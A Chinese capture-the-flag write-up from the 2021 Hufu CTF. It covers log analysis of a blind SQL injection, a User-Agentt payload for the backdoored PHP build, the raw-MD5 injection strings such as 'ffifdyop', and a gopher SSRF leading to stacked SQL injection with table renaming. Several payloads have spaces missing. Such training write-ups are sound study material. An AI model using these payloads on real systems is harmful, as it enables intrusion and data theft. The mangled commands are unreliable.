虎符ctf wp
共 3923字,需浏览 8分钟
·
2021-04-06 14:41
作者:红色代码战队 编辑:白帽子社区运营团队
"白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)
"
战队信息
战队名称:红色代码战队
战队排名:59
解题情况
请粘贴战队排名截图和答题情况截图:
示例的操作流程:
“详细数据”→ “解题总榜”→“输入队伍名”→“搜索”→“截图”
替换为您队伍解
from base64 import *
flag = ''
with open('access.log','r') as f:
lines = f.readlines()
for line in lines:
if "select%20flag%20from%20flllag" in line:
packet_len = line[line.find(' 200 ')+5:line.find(' "-""python-requests/2.21.0"')]
if packet_len == '377':
ascii_code =line[line.find('))=')+3:line.find(',sleep')]
ascii_str =chr(int(ascii_code))
flag += ascii_str
else:
pass
else:
pass
print(b64decode(flag).decode('utf-8'))
flag值:flag{You_are_so_great}
根据题目给出的hint,可知,这里的源码使用的是北京时间2021.3.29,git.php.net服务器遭到黑客攻陷,php源码被黑客植入后门。
详情见:http://cn-sec.com/archives/313267.html
直接抓包,修改user-agent
Payload: User-Agentt:zerodiumsystem("ls -lha /");
flag值:flag{505c0a8f-4d55-a3f2-aac08c8f5dd9}
IDA7.5打开反编译。
标准的c++写的程序。关键就看pre()函数和server_check_redemption_code()函数。
进到pre函数,里面就是检测了一下字符串长度然后还是执行了server_check_redemption_code()函数。所以关键只有server_check_redemption_code()函数。
函数内部就是建立一个数组。Box[input_len][256]。然后每一层的基准是标号。即Box[0][] = {0...}, Box[1][] = {1...},然后将输入的ASCII处修改为i+1。-
而长度又是限定的0xe。求解字符串分别为"Ninja Must Die 3 Is A Cruel Game, So Hard For Me"和"I Love Ninja Must Die 3. Beautiful Art And Motive Operation IsCreative."。第一个要求返回不是-1,即有解。第二个要求返回是7.算得k等于20.即“I Love Ninja Must Die”。直接就能看出flag是Ninja Must Die。
flag值:flag{NinjaMust Die}
根据题目hint,这里的查询语句是:
"SELECT * FROM users WHERE password ='".md5($password,true)."' limit 0,1";
经常做CTF的选手,一眼就看出来这里是要进行md5十六进制转成字符构造成注入
Payload:ffifdyop
直接将这个作为密码输入,遗憾的是,这个字符貌似被过滤了
搜索引擎找了一下,看看有没有和字符ffifdyop一样的md5加密后转换成字符会构造成注入的,找到一个:
129581926211651571912466741651878684928
将这个作为密码输入,登陆成功
SSRF,根据前面的线索,找一下内网的admin.php,这里输入:127.0.0.1/admin.php或这localhost/admin.php
在内网存在这样一个admin.php,接下来思路就比较明晰了,强大的gopher协议可以提交GET/POST请求,通过gopher去打这个admin.php,gopher打内网注入点
Python简单处理下我们需要传入内网的POST数据:
from urllib.parse import quote
payload = "username=mochu7&password=mochu7"
postdata = """
POST /admin.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length: {}
{}
""".format(len(payload),payload)
final_payload = 'gopher://127.0.0.1:80/_'+quote(quote(postdata))
print(final_payload)
print(postdata)
成功传入POST数据到内网admin.php,然后修改payload,加个单引号发现报错
后面就是继续修改payload去测试这个注入点,然后发现了这是堆叠注入,而且越测越像原来强网杯随便注那题,但是这里加了一些黑名单过滤了:select、handler等
payload = "username=mochu7';showdatabases#&password=mochu7"
堆叠查询到数据库:ctf、ctf2、information_schema
payload = "username=mochu7';usectf;show tables#&password=mochu7"
payload = "username=mochu7';use ctf2;showtables#&password=mochu7"
ctf库:users表
ctf2库:real_admin_here_do_you_find表、fake_admin表
real_admin_here_do_you_find表: password字段
我们要找的是真正的admin的密码
payload = "username=mochu7';usectf2;show columns from `real_admin_here_do_you_find`#&password=mochu7"
做到这里,继续下去本来应该是读取字段数据,但是这里过滤了select、handler做题的时候预编译也没成功,后来想起来当初做那道原题的时候有一种替换表名的姿势,我们把当前查询的fake_admin表改成别的名称,然后将我们想要查的real_admin_here_do_you_find表改成fake_admin表
payload = "username=mochu7';renametable fake_admin to mochu;rename table real_admin_here_do_you_find tofake_admin#&password=mochu7"
修改成功,然后构造注入
payload = "username=mochu7'or 1=1;showtables;#&password=mochu7"
得到真正的admin密码:
5fb4e07de914cfc82afb44vbaf402203
最后传入真正的admin账户名和密码
payload ="username=admin&password=5fb4e07de914cfc82afb44vbaf402203"
提示我们访问flag.php,并且查看源码拿着cookie去